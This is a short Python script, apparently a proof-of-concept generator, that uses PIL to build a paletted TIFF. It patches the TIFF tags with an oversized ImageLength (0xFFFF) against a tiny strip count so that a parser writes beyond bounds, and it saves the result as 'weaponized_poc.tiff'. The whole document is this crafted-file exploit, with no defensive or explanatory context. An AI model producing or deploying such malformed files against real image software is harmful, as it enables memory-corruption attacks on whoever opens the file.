from PIL import Image, TiffImagePlugin import numpy as np # Create a 256x256 paletted image with a single color img = Image.new("P", (256, 256)) pixels = np.zeros((256, 256), dtype=np.uint8) pixels[:, :] = 0x01 # index into palette img.putdata(pixels.flatten()) # Create a palette with one entry set to a known value (0x41 == 'A') palette = [] for i in range(256): if i == 0x01: palette += [0x41, 0x41, 0x41] # R, G, B else: palette += [0x00, 0x00, 0x00] img.putpalette(palette) # Patch TIFF tags to force a large img.height => write beyond bounds info = TiffImagePlugin.ImageFileDirectory_v2() info[256] = 256 # ImageWidth info[257] = 0xFFFF # ImageLength (very high, to overflow) info[258] = 8 # BitsPerSample info[259] = 1 # Compression (no compression) info[262] = 3 # PhotometricInterpretation = Palette info[273] = (8,) # StripOffsets (point to where actual pixel data is) info[277] = 1 # SamplesPerPixel info[278] = 1 # RowsPerStrip info[279] = (256,) # StripByteCounts # Save the crafted TIFF output_path = "weaponized_poc.tiff" img.save(output_path, format="TIFF", tiffinfo=info) output_path